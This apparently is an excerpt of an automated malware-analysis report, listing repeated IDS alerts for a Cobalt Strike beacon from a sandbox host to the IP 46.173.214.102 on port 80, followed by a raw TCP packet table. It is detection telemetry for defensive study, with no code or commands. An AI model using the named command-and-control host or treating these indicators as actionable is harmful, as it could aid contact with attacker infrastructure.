2024-10-28T16:02:25.548515+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49258	46.173.214.102	80	TCP
2024-10-28T16:02:26.332608+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49259	46.173.214.102	80	TCP
2024-10-28T16:02:27.083050+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49260	46.173.214.102	80	TCP
2024-10-28T16:02:27.834212+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49261	46.173.214.102	80	TCP
2024-10-28T16:02:28.607302+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49262	46.173.214.102	80	TCP
2024-10-28T16:02:31.102602+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49263	46.173.214.102	80	TCP
2024-10-28T16:02:31.849923+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49264	46.173.214.102	80	TCP
2024-10-28T16:02:32.621402+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49265	46.173.214.102	80	TCP
2024-10-28T16:02:33.376594+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49266	46.173.214.102	80	TCP
2024-10-28T16:02:34.376966+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49267	46.173.214.102	80	TCP
2024-10-28T16:02:35.423511+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49268	46.173.214.102	80	TCP
2024-10-28T16:02:36.188317+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49269	46.173.214.102	80	TCP
2024-10-28T16:02:36.953945+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49270	46.173.214.102	80	TCP
2024-10-28T16:02:37.726665+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49271	46.173.214.102	80	TCP
2024-10-28T16:02:38.479583+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49272	46.173.214.102	80	TCP
2024-10-28T16:02:38.909906+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49273	46.173.214.102	80	TCP
2024-10-28T16:02:39.681522+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49274	46.173.214.102	80	TCP
2024-10-28T16:02:40.426408+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49275	46.173.214.102	80	TCP
2024-10-28T16:02:41.203513+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49276	46.173.214.102	80	TCP
2024-10-28T16:02:41.980188+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49277	46.173.214.102	80	TCP
2024-10-28T16:02:42.757518+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49278	46.173.214.102	80	TCP
2024-10-28T16:02:43.513101+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49279	46.173.214.102	80	TCP
2024-10-28T16:02:44.297124+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49280	46.173.214.102	80	TCP
2024-10-28T16:02:45.306616+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49281	46.173.214.102	80	TCP
2024-10-28T16:02:46.091054+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49282	46.173.214.102	80	TCP
2024-10-28T16:02:47.109617+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49283	46.173.214.102	80	TCP
2024-10-28T16:02:47.854576+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49284	46.173.214.102	80	TCP
2024-10-28T16:02:48.628025+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49285	46.173.214.102	80	TCP
2024-10-28T16:02:49.374824+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49286	46.173.214.102	80	TCP
2024-10-28T16:02:50.175842+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49287	46.173.214.102	80	TCP
2024-10-28T16:02:50.949043+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49288	46.173.214.102	80	TCP
2024-10-28T16:02:51.688853+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49289	46.173.214.102	80	TCP
2024-10-28T16:02:52.467482+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49290	46.173.214.102	80	TCP
2024-10-28T16:02:53.303124+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49291	46.173.214.102	80	TCP
2024-10-28T16:02:54.048642+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49292	46.173.214.102	80	TCP
2024-10-28T16:02:54.838099+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49293	46.173.214.102	80	TCP
2024-10-28T16:02:55.594651+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49294	46.173.214.102	80	TCP
2024-10-28T16:02:56.471148+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49295	46.173.214.102	80	TCP
2024-10-28T16:02:57.264752+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49296	46.173.214.102	80	TCP
2024-10-28T16:02:58.005697+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49297	46.173.214.102	80	TCP
2024-10-28T16:02:58.773736+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49298	46.173.214.102	80	TCP
2024-10-28T16:02:59.605489+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49299	46.173.214.102	80	TCP
2024-10-28T16:03:00.363115+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49300	46.173.214.102	80	TCP
2024-10-28T16:03:01.309414+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49301	46.173.214.102	80	TCP
2024-10-28T16:03:02.054788+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49302	46.173.214.102	80	TCP
2024-10-28T16:03:03.373892+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49303	46.173.214.102	80	TCP
2024-10-28T16:03:04.128228+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49304	46.173.214.102	80	TCP
2024-10-28T16:03:04.556303+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49305	46.173.214.102	80	TCP
2024-10-28T16:03:05.323949+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49306	46.173.214.102	80	TCP
2024-10-28T16:03:06.469328+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49307	46.173.214.102	80	TCP
2024-10-28T16:03:07.246056+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49308	46.173.214.102	80	TCP
2024-10-28T16:03:08.005171+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49309	46.173.214.102	80	TCP
2024-10-28T16:03:08.981058+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49310	46.173.214.102	80	TCP
2024-10-28T16:03:09.865483+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49311	46.173.214.102	80	TCP
2024-10-28T16:03:10.625184+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49312	46.173.214.102	80	TCP
2024-10-28T16:03:11.393985+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49313	46.173.214.102	80	TCP
2024-10-28T16:03:13.392218+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49314	46.173.214.102	80	TCP
2024-10-28T16:03:14.151878+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49315	46.173.214.102	80	TCP
2024-10-28T16:03:14.915131+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49316	46.173.214.102	80	TCP
2024-10-28T16:03:15.778370+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49317	46.173.214.102	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 16:01:09.015197992 CET	49162	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:09.020714998 CET	80	49162	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:09.020790100 CET	49162	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:09.021017075 CET	49162	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:09.026520967 CET	80	49162	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:09.660991907 CET	80	49162	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:09.661206007 CET	49162	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:09.661356926 CET	49162	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:09.666994095 CET	80	49162	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:09.804898977 CET	49163	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:09.810519934 CET	80	49163	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:09.810621977 CET	49163	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:09.810780048 CET	49163	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:09.816196918 CET	80	49163	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:10.457017899 CET	80	49163	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:10.457345963 CET	49163	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:10.457345963 CET	49163	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:10.462758064 CET	80	49163	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:10.572446108 CET	49164	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:10.577826023 CET	80	49164	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:10.577893019 CET	49164	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:10.581414938 CET	49164	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:10.586977959 CET	80	49164	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:11.223198891 CET	80	49164	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:11.223277092 CET	49164	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:11.239175081 CET	49164	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:11.244617939 CET	80	49164	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:11.377470016 CET	49165	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:11.383196115 CET	80	49165	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:11.383285046 CET	49165	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:11.386120081 CET	49165	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:11.391752958 CET	80	49165	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:12.029795885 CET	80	49165	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:12.029853106 CET	49165	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:12.029990911 CET	49165	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:12.035862923 CET	80	49165	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:12.128309965 CET	49166	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:12.134044886 CET	80	49166	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:12.134339094 CET	49166	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:12.134452105 CET	49166	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:12.141005993 CET	80	49166	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:12.846812963 CET	80	49166	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:12.846987963 CET	49166	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:12.847193003 CET	49166	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:12.853013992 CET	80	49166	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:12.955466032 CET	49167	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:12.960994005 CET	80	49167	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:12.961116076 CET	49167	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:12.961410046 CET	49167	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:12.966722012 CET	80	49167	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:13.603641987 CET	80	49167	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:13.603744984 CET	49167	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:13.603869915 CET	49167	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:13.609180927 CET	80	49167	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:13.703773975 CET	49168	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:13.709311008 CET	80	49168	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:13.709434032 CET	49168	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:13.709552050 CET	49168	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:13.721298933 CET	80	49168	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:14.357286930 CET	80	49168	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:14.357512951 CET	49168	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:14.358033895 CET	49168	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:14.363446951 CET	80	49168	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:14.573271036 CET	49169	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:14.583853006 CET	80	49169	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:14.583942890 CET	49169	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:14.597609043 CET	49169	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:14.603482008 CET	80	49169	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:15.225886106 CET	80	49169	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:15.225953102 CET	49169	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:15.226093054 CET	49169	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:15.231580973 CET	80	49169	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:15.326687098 CET	49170	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:15.332432032 CET	80	49170	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:15.332550049 CET	49170	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:15.332820892 CET	49170	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:15.340253115 CET	80	49170	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:15.980952978 CET	80	49170	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:15.981333971 CET	49170	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:15.981333971 CET	49170	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:15.988143921 CET	80	49170	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:16.090332031 CET	49171	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:16.096630096 CET	80	49171	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:16.096703053 CET	49171	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:16.096957922 CET	49171	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:16.103087902 CET	80	49171	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:16.778676987 CET	80	49171	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:16.778798103 CET	49171	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:16.778889894 CET	49171	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:16.784478903 CET	80	49171	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:16.885932922 CET	49172	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:16.891674995 CET	80	49172	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:16.891829967 CET	49172	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:16.892215014 CET	49172	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:16.898813009 CET	80	49172	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:17.538567066 CET	80	49172	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:17.538707972 CET	49172	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:17.561373949 CET	49172	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:17.566848040 CET	80	49172	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:17.673413992 CET	49173	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:17.678723097 CET	80	49173	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:17.678819895 CET	49173	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:17.681909084 CET	49173	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:17.687329054 CET	80	49173	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:18.318448067 CET	80	49173	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:18.318562984 CET	49173	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:18.318747997 CET	49173	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:18.324780941 CET	80	49173	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:18.414774895 CET	49174	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:18.420409918 CET	80	49174	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:18.420512915 CET	49174	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:18.420717001 CET	49174	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:18.426163912 CET	80	49174	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:19.069302082 CET	80	49174	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:19.069443941 CET	49174	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:19.069626093 CET	49174	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:19.075099945 CET	80	49174	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:19.179279089 CET	49175	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:19.185839891 CET	80	49175	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:19.185899019 CET	49175	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:19.186146021 CET	49175	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:19.192059040 CET	80	49175	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:19.825608015 CET	80	49175	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:19.825781107 CET	49175	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:19.825920105 CET	49175	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:19.831505060 CET	80	49175	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:19.928236961 CET	49176	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:19.933849096 CET	80	49176	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:19.933962107 CET	49176	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:19.934154987 CET	49176	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:19.939524889 CET	80	49176	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:20.635751963 CET	80	49176	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:20.635895967 CET	49176	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:20.667880058 CET	49176	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:20.674000025 CET	80	49176	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:20.770906925 CET	49177	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:20.778198957 CET	80	49177	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:20.778317928 CET	49177	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:20.778542995 CET	49177	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:20.783973932 CET	80	49177	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:21.446099043 CET	80	49177	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:21.446225882 CET	49177	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:21.446552992 CET	49177	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:21.451936960 CET	80	49177	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:21.550442934 CET	49178	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:21.557056904 CET	80	49178	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:21.557152033 CET	49178	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:21.557398081 CET	49178	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:21.563184977 CET	80	49178	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:22.202136040 CET	80	49178	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:22.202269077 CET	49178	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:22.202378988 CET	49178	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:22.207789898 CET	80	49178	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:22.299196005 CET	49179	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:22.304877996 CET	80	49179	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:22.304972887 CET	49179	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:22.305107117 CET	49179	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:22.310991049 CET	80	49179	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:22.939122915 CET	80	49179	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:22.939237118 CET	49179	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:22.939325094 CET	49179	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:22.944735050 CET	80	49179	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:23.048464060 CET	49180	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:23.054022074 CET	80	49180	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:23.054114103 CET	49180	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:23.058418989 CET	49180	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:23.064374924 CET	80	49180	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:23.707740068 CET	80	49180	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:23.707859039 CET	49180	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:23.709701061 CET	49180	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:23.715281963 CET	80	49180	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:23.827850103 CET	49181	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:23.833513975 CET	80	49181	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:23.833607912 CET	49181	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:23.836041927 CET	49181	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:23.841491938 CET	80	49181	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:24.474888086 CET	80	49181	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:24.475028992 CET	49181	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:24.475128889 CET	49181	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:24.480509996 CET	80	49181	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:24.576761007 CET	49182	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:24.582583904 CET	80	49182	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:24.582690001 CET	49182	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:24.582850933 CET	49182	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:24.588421106 CET	80	49182	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:25.226752996 CET	80	49182	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:25.226830006 CET	49182	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:25.226914883 CET	49182	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:25.232949018 CET	80	49182	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:25.325514078 CET	49183	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:25.331106901 CET	80	49183	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:25.331327915 CET	49183	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:25.331546068 CET	49183	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:25.337527990 CET	80	49183	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:25.978354931 CET	80	49183	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:25.978462934 CET	49183	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:25.978622913 CET	49183	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:25.984028101 CET	80	49183	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:26.075253963 CET	49184	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:26.081394911 CET	80	49184	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:26.081552029 CET	49184	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:26.081607103 CET	49184	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:26.087421894 CET	80	49184	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:26.725537062 CET	80	49184	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:26.725682974 CET	49184	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:26.727791071 CET	49184	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:26.733383894 CET	80	49184	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:26.844784975 CET	49185	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:26.850461960 CET	80	49185	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:26.850552082 CET	49185	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:26.850739956 CET	49185	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:26.856492043 CET	80	49185	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:27.492865086 CET	80	49185	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:27.493015051 CET	49185	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:27.493212938 CET	49185	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:27.498713970 CET	80	49185	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:27.603338003 CET	49186	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:27.608935118 CET	80	49186	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:27.609052896 CET	49186	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:27.609255075 CET	49186	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:27.614753962 CET	80	49186	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:28.256555080 CET	80	49186	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:28.256684065 CET	49186	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:28.256778002 CET	49186	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:28.262499094 CET	80	49186	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:28.352009058 CET	49187	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:28.357637882 CET	80	49187	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:28.357716084 CET	49187	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:28.357816935 CET	49187	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:28.363406897 CET	80	49187	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:29.002650023 CET	80	49187	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:29.002773046 CET	49187	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:29.002938032 CET	49187	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:29.008300066 CET	80	49187	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:29.100761890 CET	49188	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:29.106458902 CET	80	49188	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:29.106551886 CET	49188	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:29.106816053 CET	49188	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:29.112468004 CET	80	49188	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:29.744340897 CET	80	49188	46.173.214.102	192.168.2.22
